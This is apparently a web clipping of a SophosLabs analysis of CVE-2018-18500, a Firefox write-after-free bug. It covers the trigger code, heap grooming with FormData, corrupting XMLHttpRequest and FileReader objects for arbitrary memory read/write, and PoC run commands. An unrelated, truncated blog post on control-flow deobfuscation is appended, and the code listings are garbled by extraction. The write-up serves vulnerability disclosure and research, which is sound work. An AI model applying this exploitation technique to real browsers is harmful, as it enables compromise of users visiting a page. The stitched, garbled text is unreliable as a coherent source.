**Author:**| __  
**Tags:**| _browser firefox_  
  

  

# CVE-2018-18500: write-after-free vulnerability in Firefox, Analysis and
Exploitation

SophosLabs Uncut•CVE-2018-18500•Exploit•Firefox•mitigation•vulnerability

18/04/2019 By: Yaniv

  * 0 
  * Share on Twitter
  * Share on Facebook
  * Share on LinkedIn

<img src='img/exploits-explained.jpg' width='640' height='332' />

> Editor’s note: This article is a technical description of a bug discovered
> by a member of the Offensive Research team at SophosLabs, and how the
> researcher created a proof-of-concept “Arbitrary Read/Write Primitive”
> exploit for this bug. The vulnerability was deemed critical by Mozilla’s bug
> tracking team and was patched in Firefox 65.0. It’s written for an audience
> with **background in security vulnerability research** ; no background in
> Firefox internals or web browsers in general is necessary.
## Overview

This article is about CVE-2018-18500, a security vulnerability in Mozilla
Firefox found and reported to the Mozilla Foundation by SophosLabs in
November, 2018.

This security vulnerability involves a software bug in Gecko \(Firefox’s
browser engine\), in code responsible for parsing web pages. A malicious web
page can be programmed in a way that exploits this bug to fully compromise a
vulnerable Firefox instance visiting it.

The engine component where the bug exists is the HTML5 Parser, specifically
around the handling of “Custom Elements.”

The root cause of the bug described here is a programming error in which a C++
object is being used without properly holding a reference to it, allowing for
the object to be prematurely freed. These circumstances lead to a memory
corruption condition known as “Write After Free,” where the program
erroneously writes into memory that has been freed.

Due to the numerous security mitigations applied to today’s operating systems
and programs, developing a functional exploit for a memory corruption
vulnerability in a web browser is no easy feat. It more often than not
requires the utilization of multiple bugs and implementation of complex logic
taking advantage of intricate program-specific techniques. This means that
extensive use of JavaScript is virtually a requirement for this type of work,
and such is the case in here as well.

The article uses 64-bit Firefox 63.0.3 for Windows for binary-specific
details, and will reference the Gecko source code and the HTML Standard.

## Background – Custom Elements

“Custom Elements” is a relatively new addition to the HTML standard, as part
of the “Web Components” API. Simply put, it provides a way to create new types
of HTML elements. Its full specification can be found here.

This is an example for a basic Custom Element definition of an element
extension named `extended-br` that will behave the same as a regular `br`
element except also print a line to log upon construction:  
<img src='img/html_1.png' width='629' height='330' />The above example uses
the “customized built-in element” variant, which is instantiated by using the
`"is"` attribute \(line 17\).

Support for Custom Elements was introduced in the Firefox 63 release \(October
23, 2018\).

## The Bug

The bug occurs when Firefox creates a custom element in the process of HTML
tree construction. In this process the engine code may dispatch a JavaScript
callback to invoke the matching custom element definition’s constructor
function.

The engine code surrounding the JavaScript dispatch point makes use of a C++
object without properly holding a reference to it.

When the engine code resumes execution after returning from the JavaScript
callback function, it performs a memory write into a member variable of this
C++ object.  
However the called constructor function can be defined to cause the abortion
of the document load, which means the abortion of the document’s active
parser, internally causing the destruction and de-allocation of the active
parser’s resources, including the aforementioned C++ object.

When this happens, a “Write-After-Free” memory corruption will occur.

Here’s the relevant part in the HTML5 Parser code for creating an HTML
element:

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758|
`nsresult``nsHtml5TreeOperation::Perform(nsHtml5TreeOpExecutor* aBuilder,``
``nsIContent** aScriptElement,`` ``bool``* aInterrupted,`` ``bool``*
aStreamEnded)``{`` ``switch` `(mOpCode) {`` ``...`` ``case`
`eTreeOpCreateHTMLElementNetwork:`` ``case`
`eTreeOpCreateHTMLElementNotNetwork: {`` ``nsIContent** target = mOne.node;``
``...`` ``*target = CreateHTMLElement(name,`` ``attributes,`` ``mOpCode ==
eTreeOpCreateHTMLElementNetwork`` ``? dom::FROM_PARSER_NETWORK`` ``:
dom::FROM_PARSER_DOCUMENT_WRITE,`` ``nodeInfoManager,`` ``aBuilder,``
``creator);`` ``return` `NS_OK;`` ``}`` ``...``}`
`nsIContent*``nsHtml5TreeOperation::CreateHTMLElement(`` ``nsAtom* aName,``
``nsHtml5HtmlAttributes* aAttributes,`` ``mozilla::dom::FromParser
aFromParser,`` ``nsNodeInfoManager* aNodeInfoManager,``
``nsHtml5DocumentBuilder* aBuilder,``
``mozilla::dom::HTMLContentCreatorFunction aCreator)``{`` ``...`` ``if`
`(nsContentUtils::IsCustomElementsEnabled()) {`` ``...`` ``if`
`(isCustomElement && aFromParser != dom::FROM_PARSER_FRAGMENT) {`` ``...``
``definition = nsContentUtils::LookupCustomElementDefinition(`` ``document,
nodeInfo->NameAtom(), nodeInfo->NamespaceID(), typeAtom);` ` ``if`
`(definition) {`` ``willExecuteScript = ``true``;`` ``}`` ``}`` ``}` ` ``if`
`(willExecuteScript) { ``// This will cause custom element`` ``// constructors
to run`` ``...`` ``nsCOMPtr<dom::Element> newElement;``
``NS_NewHTMLElement(getter_AddRefs(newElement),`` ``nodeInfo.forget(),``
``aFromParser,`` ``isAtom,`` ``definition);`` ``...`  
---|---  
Inside `NS_NewHTMLElement`, if the element being created is a custom element,
the function `CustomElementRegistry::Upgrade` will be called to invoke the
custom element’s constructor, passing control to JavaScript.

After the custom element constructor finishes running and
`CreateHTMLElement()` returns execution to `Perform()`, line 13 completes its
execution: the return value of `CreateHTMLElement()` is written into the
memory address pointed to by `target`.

Next, I’ll explain where `target` points, and where it is set, how to free
that memory using JavaScript code, and what type of value is being written to
freed memory.

## What’s “target?”

We can see `target` being assigned in line 11: `nsIContent** target =
mOne.node;`.  
This is where `mOne.node` comes from:

12345678910111213141516171819202122232425262728|
`nsIContentHandle*``nsHtml5TreeBuilder::createElement(int32_t aNamespace,``
``nsAtom* aName,`` ``nsHtml5HtmlAttributes* aAttributes,`` ``nsIContentHandle*
aIntendedParent,`` ``nsHtml5ContentCreatorFunction aCreator)``{`` ``...``
``nsIContent* elem;`` ``if` `(aNamespace == kNameSpaceID_XHTML) {`` ``elem =
nsHtml5TreeOperation::CreateHTMLElement(`` ``name,`` ``aAttributes,``
``mozilla::dom::FROM_PARSER_FRAGMENT,`` ``nodeInfoManager,`` ``mBuilder,``
``aCreator.html);`` ``}`` ``...`` ``nsIContentHandle* content =
AllocateContentHandle();`` ``...`` ``treeOp->Init(aNamespace,`` ``aName,``
``aAttributes,`` ``content,`` ``aIntendedParent,``
``!!mSpeculativeLoadStage,`` ``aCreator);`  
---|---  
123456789101112| `inline` `void` `Init(int32_t aNamespace,`` ``nsAtom*
aName,`` ``nsHtml5HtmlAttributes* aAttributes,`` ``nsIContentHandle*
aTarget,`` ``nsIContentHandle* aIntendedParent,`` ``bool` `aFromNetwork,``
``nsHtml5ContentCreatorFunction aCreator)``{`` ``...`` ``mOne.node =
``static_cast``<nsIContent**>(aTarget);`` ``...``}`  
---|---  
So the value of `target` comes from `AllocateContentHandle()`:

123456| `nsIContentHandle*``nsHtml5TreeBuilder::AllocateContentHandle()``{``
``...`` ``return` `&mHandles[mHandlesUsed++];``}`  
---|---  
This is how `mHandles` is initialized in `nsHtml5TreeBuilder`‘s constructor
initializer list:

12345| `nsHtml5TreeBuilder::nsHtml5TreeBuilder(nsAHtml5TreeOpSink* aOpSink,``
``nsHtml5TreeOpStage* aStage)`` ``...`` ``, mHandles(``new`
`nsIContent*[NS_HTML5_TREE_BUILDER_HANDLE_ARRAY_LENGTH])`` ``...`  
---|---  
So an array with the capacity to hold
`NS_HTML5_TREE_BUILDER_HANDLE_ARRAY_LENGTH` \(512\) pointers to `nsIContent`
objects is first initialized when the HTML5 parser’s tree builder object is
created, and every time `AllocateContentHandle()` is called it returns the
next unused slot in the array, starting from index number 0.

On 64-bit systems, the allocation size of `mHandles` is
`NS_HTML5_TREE_BUILDER_HANDLE_ARRAY_LENGTH * sizeof(nsIContent*) == 512 * 8 ==
4096 (0x1000)`.

## How to get mHandles freed?

`mHandles` is a member variable of class `nsHtml5TreeBuilder`. In the context
of the buggy code flaw, `nsHtml5TreeBuilder` is instantiated by
`nsHtml5StreamParser`, which in turn is instantiated by `nsHtml5Parser`.

We used the following JavaScript code in the custom element constructor:

1| `location.replace(``"about:blank"``);`  
---|---  
We tell the browser to navigate away from the current page and cause the
following call tree in the engine:

[code]

    Location::SetURI()
    -> nsDocShell::LoadURI()
       -> nsDocShell::InternalLoad()
          -> nsDocShell::Stop()
             -> nsDocumentViewer::Stop()
                -> nsHTMLDocument::StopDocumentLoad()
                   -> nsHtml5Parser::Terminate()
                      -> nsHtml5StreamParser::Release()
[/code]

That last function call drops a reference to the active `nsHtml5StreamParser`
object, but it is not yet orphaned: the remaining references are to be dropped
by a couple of asynchronous tasks that will only get scheduled the next time
Gecko’s event loop spins.

This is normally not going to happen in the course of running a JavaScript
function, since one of JavaScript’s properties is that it’s “Never blocking”,
but in order to trigger the bug we must have these pending asynchronous tasks
executed before the custom element constructor returns.

######

The last link gives a hint on how to accomplish this: “ _Legacy exceptions
exist like alert or synchronous XHR_ “. XHR \(XMLHttpRequest\) is an API that
can be used to retrieve data from a web server.

It’s possible to make use of synchronous XHR to cause the browser engine to
spin the event loop until the XHR call completes; that is, when data has been
received from the web server.  
So by using the following code in the custom element constructor…

12345| `location.replace(``"about:blank"``);` `var` `xhr = ``new`
`XMLHttpRequest();``xhr.open(``'GET'``, ``'/delay.txt'``,
``false``);``xhr.send(``null``);`  
---|---  
…and setting the contacted web server to artificially delay the response for
`/delay.txt` requests by a few seconds to cause a long period of event loop
spinning in the browser, we can guarantee that, by the time line 5 completes
execution, the currently active `nsHtml5StreamParser` object will have become
orphaned. Then the next time a garbage collection cycle occurs, the orphaned
`nsHtml5StreamParser` object will be destructed and have its resources de-
allocated \(including `mHandles`\).

`"about:blank"` is used for the new location because it is an empty page that
does not require network interaction for loading.

The aim is to make sure that the amount of work \(code logic\) performed by
the engine in the span between the destruction of the `nsHtml5StreamParser`
object and the write-after-free corruption is as minimal as possible, because
the steps we will be taking for exploiting the bug rely on successfully
shaping certain structures in heap memory. Since heap allocators are non-
deterministic in nature, any extra logic running in the engine at the same
time increases the chance of side effects in the form of unexpected
allocations that can sabotage the exploitation process.

## What value is being written to freed memory?

The return value of `nsHtml5TreeOperation::CreateHTMLElement` is a pointer to
a newly created C++ object representing an HTML element, e.g.
`HTMLTableElement` or `HTMLFormElement`.

Since triggering the bug requires the abortion of the currently running
document parser, this new object does not get linked to any existing data
structures and remains orphaned, and eventually gets released in a future
garbage collection cycle.

## Controlling write-after-free offset

To summarize so far, the bug can be exploited to effectively have the
following pseudo-code take place:

12345| `nsIContent* mHandles[] = moz_xmalloc(0x1000);``nsIContent** target =
&mHandles[mHandlesUsed++];``free``(mHandles);``...``*target =
CreateHTMLElement(...);`  
---|---  
So while the value being written into freed memory here \(return value of
`CreateHTMLElement()`\) is uncontrollable \(always a memory allocation
pointer\) and its contents unreliable \(orphaned object\), we can adjust the
offset in which the value is written relative to the base address of freed
allocation, according to the value of `mHandlesUsed`. As we previously showed
`mHandlesUsed` increases for every HTML element the parser encounters:

12345678| `<``br``> <-- mHandlesUsed = 0``<``br``> <-- mHandlesUsed =
1``<``br``> <-- mHandlesUsed = 2``<``br``> <-- mHandlesUsed = 3``<``br``> <--
mHandlesUsed = 4``<``br``> <-- mHandlesUsed = 5``<``br``> <-- mHandlesUsed =
6``<``span` `is``=``custom``-span></``span``> <-- mHandlesUsed = 7`  
---|---  
In the above example, given the allocation address of `mHandles` was
`0x7f0ed4f0e000` and the custom `span` element triggered the bug in its
constructor, the address of the newly created `HTMLSpanElement` object will be
written into `0x7f0ed4f0e038` \(`0x7f0ed4f0e000 + (7 *
sizeof(nsIContent*))`\).

## Surviving document destruction

Since triggering the bug requires navigating away and aborting the load of the
current document, we will not be able to execute JavaScript in that document
anymore after the constructor function returns:  
`JavaScript error: , line 0: NotSupportedError: Refusing to execute function
from window whose document is no longer active.`  
For crafting a functional exploit, it’s necessary to keep executing more
JavaScript logic after the bug is triggered. For that purpose we can use a
main web page that creates a child iframe element inside of which the HTML and
JavaScript code for triggering the bug will reside.

After the bug is triggered and the child iframe’s document has been changed to
`"about:blank"` the main page remains intact and can execute the remaining
JavaScript logic in its context.

Here’s an example of an HTML page creating a child iframe:

<img src='img/html_2.png' width='520' height='210' />

## Background – concepts and properties of Firefox’s heap

To understand the exploitation process here it’s crucial to know how Firefox’s
memory allocator works. Firefox uses a memory allocator called mozjemalloc,
which is a fork of the jemalloc project. This section will briefly explain a
few basic terms and properties of mozjemalloc, using as reference these 2
articles you should definitely read for properly understanding the subject:
\[PSJ\] & \[TSOF\].

_Regions:_  
“ _Regions are the heap items returned on user allocations \(e.g. malloc\(3\)
calls\)._ ” \[PSJ\]

_Chunks:_  
“ _The term ‘chunk’ is used to describe big virtual memory regions that the
memory allocator conceptually divides available memory into._ ” \[PSJ\]

_Runs:_  
“ _Runs are further memory denominations of the memory divided by jemalloc
into chunks._ ” \[PSJ\]  
“ _In essence, a chunk is broken into several runs._ ” \[PSJ\]  
“ _Each run holds regions of a specific size._ ” \[PSJ\]

_Size classes:_  
Allocations are broken into categories according to size class.  
Size classes in Firefox’s heap: 4, 8, 16, 32, 48, …, 480, 496, 512, 1024,
2048. \[mozjemalloc.cpp\]  
Allocation requests are rounded up to the nearest size class.

######

_Bins:_  
“ _Each bin has an associated size class and stores/manages regions of this
size class._ ” \[PSJ\]  
“ _A bin’s regions are managed and accessed through the bin’s runs._ ” \[PSJ\]  
Pseudo-code illustration:

123456| `void` `*x = ``malloc``(513);``void` `*y = ``malloc``(650);``void` `*z
= ``malloc``(1000);``// now: x, y, z were all allocated from the same bin,``//
of size class 1024, the smallest size class that is``// larger than the
requested size in all 3 calls`  
---|---  
######

_LIFO free list:_  
“ _Another interesting feature of jemalloc is that it operates in a last-in-
first-out \(LIFO\) manner \(see \[PSJ\] for the free algorithm\); a free
followed by a garbage collection and a subsequent allocation request for the
same size, most likely ends up in the freed region._ ” \[TSOF\]  
Pseudo-code illustration:

1234| `void` `*x = moz_xmalloc(0x1000);``free``(x);``void` `*y =
moz_xmalloc(0x1000);``// now: x == y`  
---|---  
######

_Same size class allocations are contiguous:_  
At a certain state that may be achieved by performing many allocations and
exhausting the free list, sequential allocations of the same size class will
be contiguous in memory – “ _Allocation requests \(i.e. malloc\(\) calls\) are
rounded up and assigned to a bin. \[…\] If none is found, a new run is
allocated and assigned to the specific bin. Therefore, this means that objects
of different types but with similar sizes that are rounded up to the same bin
are contiguous in the jemalloc heap._ ” \[TSOF\]

Pseudo-code illustration:

12345678| `for (i = 0; i < 1000; i++) {`` ``x[i] = moz_xmalloc(0x400);``}``//
x[995] == 0x7fb8fd3a1c00``// x[996] == 0x7fb8fd3a2000 (== x[995] + 0x400)``//
x[997] == 0x7fb8fd3a2400 (== x[996] + 0x400)``// x[998] == 0x7fb8fd3a2800 (==
x[997] + 0x400)``// x[999] == 0x7fb8fd3a2c00 (== x[998] + 0x400)`  
---|---  
######

_Run recycling:_  
When all allocations inside a run are freed, the run gets de-allocated and is
inserted into a list of available runs. A de-allocated run may get coalesced
with adjacent de-allocated runs to create a bigger, single de-allocated run.
When a new run is needed \(for holding new memory allocations\) it may be
taken from the list of available runs. This allows a memory address that
belonged to one run holding allocations of a specific size class to be
“recycled” into being part of a different run, holding allocations of a
different size class.  
Pseudo-code illustration:

123456789101112131415| `for` `(i = 0; i < 1000; i++) {`` ``x[i] =
moz_xmalloc(1024);``}``for` `(i = 0; i < 1000; i++) {`` ``free``(x[i]);``}``//
after freeing all 1024 sized allocations, runs of 1024 size class``// have
been de-allocated and put into the list of available runs``for` `(i = 0; i <
1000; i++) {`` ``y[i] = moz_xmalloc(512);`` ``// runs necessary for holding
new 512 allocations, if necessary,`` ``// will get taken from the list of
available runs and get assigned`` ``// to 512 size class bins``}``// some
elements in y now have the same addresses as elements in x`  
---|---  
## General direction for exploitation

Considering the basic primitive of memory corruption this bug allows for, the
exploitation approach would be trying to plant an object in place of the freed
`mHandles` allocation, so that overwriting it with a memory address pointer at
a given offset will be helpful for advancing in our exploitation effort.

A good candidate would be the “ArrayObjects inside ArrayObjects” technique
\[TSOF\] where we would place an `ArrayObject` object in place of `mHandles`,
and then overwrite its `length` header variable with a memory address \(which
is a very large numeric value\) using the bug so that a malformed
`ArrayObject` object is created and is accessible from JavaScript for reading
and writing of memory much further than legitimately intended, since index
access to that malformed array is validated against the `length` value that
was corrupted.

But after a bit of experimentation it seemed like it’s not working, and
apparently the reason is a change in the code pushed on October 2017 that
separates allocations made by the JavaScript engine from other allocations by
forcing the usage of a different heap arena. Thus allocations from
`js_malloc()` \(JavaScript engine function\) and `moz_xmalloc()` \(regular
function\) will not end up on the same heap run without some effort. This
renders the technique mostly obsolete, or at least the straightforward version
of it.

So another object type has to be found for this.

## XMLHttpRequestMainThread as memory corruption target

We are going to talk about `XMLHttpRequest` again, this time from a different
angle. XHR objects can be configured to receive the response in a couple of
different ways, one of them is through an `ArrayBuffer` object:

123456789101112131415| `var` `oReq = ``new`
`XMLHttpRequest();``oReq.open(``"GET"``, ``"/myfile.png"``,
``true``);``oReq.responseType = ``"arraybuffer"``;` `oReq.onload = ``function`
`(oEvent) {`` ``var` `arrayBuffer = oReq.response;`` ``if` `(arrayBuffer) {``
``var` `byteArray = ``new` `Uint8Array(arrayBuffer);`` ``for` `(``var` `i = 0;
i < byteArray.byteLength; i++) {`` ``// do something with each byte in the
array`` ``}`` ``}``};` `oReq.send(``null``);`  
---|---  
This is the engine function that’s responsible for creating an `ArrayBuffer`
object with the received response data, invoked upon accessing the
`XMLHttpRequest`‘s object `response` property \(line 6\):

######

123456789101112| `JSObject* ArrayBufferBuilder::getArrayBuffer(JSContext* aCx)
{`` ``if` `(mMapPtr) {`` ``JSObject* obj =
JS::NewMappedArrayBufferWithContents(aCx, mLength, mMapPtr);`` ``if` `(!obj)
{`` ``JS::ReleaseMappedArrayBufferContents(mMapPtr, mLength);`` ``}``
``mMapPtr = ``nullptr``;` ` ``// The memory-mapped contents will be released
when the ArrayBuffer`` ``// becomes detached or is GC'd.`` ``return` `obj;``}`  
---|---  
In the above code, if we modify `mMapPtr` before the function begins we will
get an `ArrayBuffer` object pointing to whatever address we put in `mMapPtr`
instead of the expected returned data. Accessing the returned `ArrayBuffer`
object will allow us to read and write from the memory pointed to by mMapPtr.

######

To prime an XHR object into this conveniently corruptible state, it needs to
be put into a state where an actual request has been sent and is awaiting
response. We can set the resource being requested by the XHR to be a Data URI,
to avoid the delay and overhead of network activity:  
`xhr.open("GET", "data:text/plain,xxxxxxxxxx", true);`

`mMapPtr` is contained inside sub-class `ArrayBufferBuilder` inside the
`XMLHttpRequestMainThread` class, which is the actual implementation class of
`XMLHttpRequest` objects internally. Its size is 0x298:

<img src='img/0x298.png' width='487' height='35' />

Allocations of size 0x298 go into a 0x400 size class bin, therefore an
`XMLHttpRequestMainThread` object will always be placed in a memory address
that belongs to one of these patterns: 0xXXXXXXXXX000, 0xXXXXXXXXX400,
0xXXXXXXXXX800, or 0xXXXXXXXXXc00. This synchronizes nicely with the pattern
of `mHandles` allocations which is 0xXXXXXXXXX000.

To corrupt an XHR’s `mArrayBufferBuilder.mMapPtr` value using the bug we would
have to aim for an offset of 0x250 bytes into the freed `mHandles` allocation:

<img src='img/xhr_arraybufferbuilder.png' width='581' height='110' />

So `XMLHttpRequestMainThread` is a fitting target for exploitation of this
memory corruption, but its size class is different than `mHandle`‘s, requiring
us to rely on performing the “Run recycling” technique.

To aid in performing the precise heap actions required for “grooming” the heap
to behave this way, we are going to be using another object type:

## FormData for Heap Grooming

Simply put, FormData is an object type that holds sets of key/value pairs
supplied to it.

123| `var` `formData = ``new` `FormData();``formData.append(``"username"``,
``"Groucho"``);``formData.append(``"accountnum"``, ``"123456"``);`  
---|---  
Internally it uses the data structure `FormDataTuple` to represent a key/value
pair, and a member variable called `mFormData` to store the pairs it’s
holding:  
`nsTArray mFormData;`

`mFormData` is initially an empty array. Calls to the append\(\) and
delete\(\) methods add or remove elements in it. The `nsTArray` class uses a
dynamic memory allocation for storing its elements, expanding or shrinking its
allocation size as necessary.

This is how `FormData` chooses the size of allocation for this storage buffer:

123456789| `nsTArray_base<Alloc, Copy>::EnsureCapacity(size_type aCapacity,``
``size_type aElemSize) {`` ``...`` ``size_t` `reqSize = ``sizeof``(Header) +
aCapacity * aElemSize;`` ``...`` ``// Round up to the next power of two.``
``bytesToAlloc = mozilla::RoundUpPow2(reqSize);`` ``...`` ``header =
``static_cast``<Header*>(ActualAlloc::Realloc(mHdr, bytesToAlloc));`  
---|---  
Given that `sizeof(Header) == sizeof(nsTArrayHeader) == 8` and `aElemSize ==
sizeof(FormDataTuple) == 0x30`, This is the formula for getting the buffer
allocation size as a function of the number of elements in the array
\(`aCapacity`\):

`bytesToAlloc = RoundUpPow2(8 + aCapacity * 0x30)`

From this we can calculate that `mFormData` will perform a `realloc()` call
for 0x400 bytes upon the 11th pair appended to it, a 0x800 bytes `realloc()`
upon the 22nd pair, and a 0x1000 bytes `realloc()` upon the 43rd pair. The
buffer’s address is stored in `mFormData.mHdr`.

To cause the de-allocation of `mFormData.mHdr` we can use the `delete()`
method. It takes as parameter a single key name to remove from the array, but
different pairs may use the same key name. So if the same key name is reused
for every appended pair, calling `delete()` on that key name will clear the
entire array in one run. Once a `nsTArray_base` object is reduced to hold 0
elements, the memory in `mHdr` will be freed.

To summarize we can use `FormData` objects to arbitrarily perform allocations
and de-allocations of memory of particular sizes in the Firefox heap.

Knowing this, these are the steps we can take for placing a 0x400 size class
allocation in place of a 0x1000 size class allocation \(Implementation of “Run
recycling”\):

  1. Spray 0x1000 allocations 
     * Create many `FormData` objects, and append 43 pairs to each of them. Now the heap contains many chunks full of mostly contiguous 0x1000 runs holding our `mFormData.mHdr` buffers.
  2. “Poke holes” in memory 
     * Use `delete()` to de-allocate some `mFormData.mHdr` buffers, so that there are free 0x1000 sized spaces in between blocks of `mFormData.mHdr` allocations.
  3. Trigger `mHandles`‘s allocation 
     * Append the child iframe, causing the creation of an HTML parser and with it an `nsHtml5TreeBuilder` object with an `mHandles` allocation. Due to “LIFO free list” `mHandles` should get the same address as one of the buffers de-allocated in the previous step.
  4. Free `mHandles`
     * Cause the freeing of `mHandles` \(process described here\).
  5. Free all 0x1000 allocations 
     * Use `delete()` on all remaining `FormData`‘s.
  6. Spray 0x400 allocations 
     * Create many `XMLHttpRequest` objects.

Image illustrations:

<img src='img/step123_green.png' width='640' height='334' />

<img src='img/step456_green.png' width='640' height='561' />

If done correctly, triggering the bug after executing these steps will corrupt
one of the created `XMLHttpRequest` objects created in step 6 so that its
`mArrayBufferBuilder.mMapPtr` variable now points to an HTML element object.  
We can go on to iterate through all the created XHR objects and check their
response property. If any of them contains unexpected data \(`"xxxxxxxxxx"`
would be the expected response for the Data URI request previously used here\)
then it must have been successfully corrupted as a result of the bug, and we
now have an `ArrayBuffer` object capable of reading and writing the memory of
the newly created HTML element object.

This alone would be enough for us to bypass ASLR by reading the object’s
member variables, some of them pointing to variables in Firefox’s main DLL
`xul.dll`. Also control of program execution is possible by modifying the
object’s virtual table pointer. However as previously mentioned this HTML
element object is left orphaned, cannot be referenced by JavaScript and is
slated for de-allocation, so another approach has to be taken.

If you look again at the `ArrayBufferBuilder::getArrayBuffer` function quoted
above, you can see that even in a corrupted state, the created `ArrayBuffer`
object is set to have the same length as it would have for the original
response, since only `mMapPtr` is modified, with `mLength` being left intact.

Since the response size is going to be the same size we choose the requested
Data URI to be, we can set it arbitrarily and make sure the malformed
`ArrayBuffer`‘s length is big enough to cover not only the HTML element it
will point to, but to extend its reach of manipulation to a decent amount of
memory following the HTML element.

The specific type of HTML element object to be written into `mMapPtr` is
determined by the base type of HTML element we choose to extend with our
custom element definition. HTML element objects range in size between 0x80 and
0x6d8:

<img src='img/html_elements_sizes.png' width='521' height='440' />

Thus we can choose between different heap size classes to target for
manipulation by the malformed `ArrayBuffer`. For example, choosing to extend
the “`br`” HTML element will result in a pointer to an `HTMLBRElement` \(size
0x80\) object being written to `mMapPtr`.

As stated in the definition of heap bins, the memory immediately following the
HTML element will hold other allocations of the same size class.  
To target the placement of a specific object right after the HTML element we
can take advantage of the “Same size class allocations are contiguous” heap
property and:

  1. Find an HTML element of the same size class as the targeted object, and base the custom element definition on it.
  2. Exhaust the relevant bin’s free list by allocating many instances of the same HTML element type. This fits well with the objective corruption offset of 0x250 bytes because defining many elements prior to the custom one is a necessity for reaching this offset and it helps us accomplish the exhaustion apropos.
  3. Allocate the object targeted for placement as soon as possible after the allocation of the custom HTML element object. The custom element’s constructor is invoked right after that so the object should be created first thing inside the constructor function.

The most straight-forward approach to take advantage of this capability would
be to make use of what we already know about `XMLHttpRequest` objects and use
it as the target object. Previously we could only corrupt `mMapPtr` with a
non-controllable pointer, but now with full control over manipulation of the
object we can arbitrarily set `mMapPtr` and `mLength` to be able to read and
write any address in memory.

However `XMLHttpRequestMainThread` objects belong in the 0x400 size class and
no HTML element object falls under the same size class\!

So another object type has to be used. The FileReader object is somewhat
similar to `XMLHttpRequest`, in that it reads data and can be made to return
it as an `ArrayBuffer`.

12345678910111213| `var` `arrayBuffer;``var` `blob = ``new` `Blob([``"data to
read"``]);``var` `fileReader = ``new` `FileReader();``fileReader.onload =
``function``(event) {`` ``arrayBuffer = event.target.result;`` ``if`
`(arrayBuffer) {`` ``var` `byteArray = ``new` `Uint8Array(arrayBuffer);``
``for` `(``var` `i = 0; i < byteArray.byteLength; i++) {`` ``// do something
with each byte in the array`` ``}``
``}``};``fileReader.readAsArrayBuffer(blob);`  
---|---  
Similar to the case with `XMLHttpRequest`, `FileReader` uses the `ArrayBuffer`
creation function `JS::NewArrayBufferWithContents` with its member variables
`mFileData` and `mDataLen` as parameters:

12345678910111213| `nsresult FileReader::OnLoadEnd(nsresult aStatus) {``
``...`` ``// ArrayBuffer needs a custom handling.`` ``if` `(mDataFormat ==
FILE_AS_ARRAYBUFFER) {`` ``OnLoadEndArrayBuffer();`` ``return` `NS_OK;`` ``}``
``...``}` `void` `FileReader::OnLoadEndArrayBuffer() {`` ``...``
``mResultArrayBuffer = JS::NewArrayBufferWithContents(cx, mDataLen,
mFileData);`  
---|---  
If we can corrupt the `FileReader` object in memory between the call to
`readAsArrayBuffer()` and the scheduling of the `onload` event using the
malformed `ArrayBuffer` we previously created, we can cause `FileReader` to
create yet another malformed `ArrayBuffer` but this time pointing to arbitrary
addresses.

The `FileReader` object is suitable for exploitation here because of its size:

<img src='img/sizeof_filereader-1.png' width='372' height='34' />

which is compatible with the “img” element \(`HTMLImageElement`\), whose
object size is 0x138.

<img src='img/malformed_array_buffer_green.png' width='640' height='636' />

Illustration of a malformed ArrayBuffer pointing to a custom element, but also
able to reach some of the adjacent FileReader objects

## Creation and usage of objects in aborted document

Another side of effect of the abortion of the child iframe document is that
any `XMLHttpRequest` or `FileReader` object created from inside of it will get
detached from their “owner” and will no longer be usable in the way we desire.

Since we require the creation of new `XMLHttpRequest` and `FileReader` objects
at a specific point in time while the custom element constructor is running
inside the child iframe document, but also require their usage after the
document load has been aborted, we can use the following method of
“synchronously” passing execution to the main page by employing
`postMessage()` and event loop spinning using XHR:

###### sync.html:

<img src='img/html_3.png' width='499' height='209' />

###### sync2.html:

<img src='img/html_4.png' width='445' height='243' />

Will yield the output:  
`point 1 (child iframe)`  
`point 2 (main page)`  
`point 3 (child iframe)`

This way we can enable JavaScript code running from the child iframe to signal
and schedule the execution of a JavaScript function in the main page, and be
guaranteed it finishes running before gaining control back.

## PoC

The PoC builds on all written above to produce an `ArrayBuffer` that can be
used to read and write memory from 0x4141414141414141. It does not work in
every single attempt, but has been tested successfully on Windows and Linux.

The HTML file is meant to be served by the provided HTTP server script
`delay_http_server.py` for the necessary artificial delay to responses.

[code]

    $ python delay_http_server.py 8080 &
    $ firefox http://127.0.0.1:8080/customelements_poc.html
[/code]

You can find the proof-of-concept files on the SophosLabs GitHub repository.

## Fix

The bug was fixed in Firefox 65.0 with this commit.

Mozilla fixed the issue by declaring a RAII type variable to hold a reference
to the HTML5 stream parser object for the duration of execution of the 2
functions that make calls to `nsHtml5TreeOperation::Perform`:
`nsHtml5TreeOpExecutor::RunFlushLoop` and
`nsHtml5TreeOpExecutor::FlushDocumentWrite`.

12345| `+ RefPtr<nsHtml5StreamParser> streamParserGrip;``+ ``if` `(mParser)
{``+ streamParserGrip = GetParser()->GetStreamParser();``+ }``+
mozilla::Unused << streamParserGrip; ``// Intentionally not used within
function`  
---|---

# Control Flow Deobfuscation Part 2 - Blogs - RCE Messageboard's Regroupment

**Created:**| _4/14/2011 1:41:53 PM_  
---|---  
**Updated:**| _4/14/2011 1:41:53 PM_  
**Author:**| __  
**Tags:**| _Practical Software Verification bookmark reversing_  
  

#### Control Flow Deobfuscation Part 2

###### Rate this Entry

  * Excellent
  * Good
  * Average
  * Bad
  * Terrible
  * 

1 Comment

by

**fr33ke**

  * <img src='img/2243_profile.png' /> View Profile
  * <img src='img/2244_forum.png' /> View Forum Posts
  * <img src='img/2245_blog.png' /> View Blog Entries
  * <img src='img/2246_article.png' /> View Articles

on April 25th, 2008 at 08:05 \(2362 Views\)

> In part one I explained how to get a CFG from bytecode, and today I'll tell
> you about the inverse operation.  
>  Well, actually there are two parts to it:
>   1. Decide in which order you place the vertices
>   2. Put them in that order and insert the correct branches
>
  
>  I'll discuss point 1 in part three, and point 2 now.  
>  
>  It may sound trivial to do this: just get the data for the first vertex,
> then the branch for the first vertex etc. However this doesn't work because
> to create the branch we need to know the position of its targets. But for
> the position of the targets we need to know how big the branch is\!  
>  
>  To create an optimal solution where all branches are as small as possible
> we use a simplification of Robertson's algorithm. The original paper is hard
> to find but there is good documentation of it in the source of YASM \(
> http://www.tortall.net/projects/yasm/browser/branches/yasm-0.7.x/libyasm/section.c\#L698
> \). Basically what we do is assume all branches are 0 bytes1, then increase
> the size for each branch that doesn't fit and repeat until we find a fixed
> point where all branches fit.  
>  
>  We can skip some sizes that are impossible, for instance there exists no 1
> byte branch in .NET. However a 4 byte branch is possible with two 2 byte
> branches \("jnz xxx; jmp xxx"\). Also we don't have to recalculate every
